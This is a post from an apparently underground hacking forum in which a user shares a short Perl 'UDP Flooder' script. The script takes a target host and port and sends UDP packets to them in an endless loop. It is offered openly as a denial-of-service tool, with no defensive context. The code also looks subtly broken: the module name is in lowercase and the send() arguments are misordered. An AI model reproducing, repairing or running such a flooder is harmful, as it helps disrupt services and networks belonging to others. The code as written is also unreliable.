HTDark | Underground Hacking Forum and Cybersecurity Community
  • Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Perl UDP Flooder

Status
Not open for further replies.
S

.Slacker

Leech
User
Joined
Sep 12, 2012
Messages
20
Reputation
0
Reaction score
14
Points
3
Credits
0
‎12 Years of Service‎
40%
Code: 
>#!/usr/bin/perl
#
#.SlackerFlooder.pl
#UDP Flooder.

use io::socket;

$ARGC = @ARGV;

if ($ARGC != 2) {

       print("Usage: $0 host port \n");
       exit(1);

       }

($host, $port) = @ARGV;


$sock = IO::Socket::INET->new(
       PeerAddr => $host,
       PeerPort => $port,
       Proto => "udp") || die "$! Could not create sock";

packets:
while (1) {
$size = rand() * rand() * rand();
print ("flooding $host on the $port port and size is $size\n");
send($sock, 0, $size);

}
 
Status
Not open for further replies.
Back
Top